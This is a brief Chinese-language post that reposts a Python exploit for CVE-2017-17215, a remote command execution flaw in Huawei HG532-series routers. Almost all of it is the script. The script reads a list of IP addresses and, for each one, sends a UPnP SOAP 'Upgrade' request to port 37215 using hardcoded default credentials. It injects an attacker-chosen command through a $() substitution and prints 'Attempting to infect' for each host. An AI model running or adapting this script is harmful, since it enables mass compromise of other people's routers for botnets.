Huawei 路由器远程命令执行漏洞(CVE-2017-17215) exploit

正文

近期华为HG52系列路由器被曝存在远程命令执行漏洞(CVE-2017-17215)，国外论坛已经开始传播该漏洞的exploit脚本。

原文 / From twitter.com/0xdea/status/947799194890317824

import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
class exploit(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('\n')
        def run(self):
            try:
                url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
                requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
                print "[SOAP] Attempting to infect " + self.ip
            except Exception as e:
                pass
for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass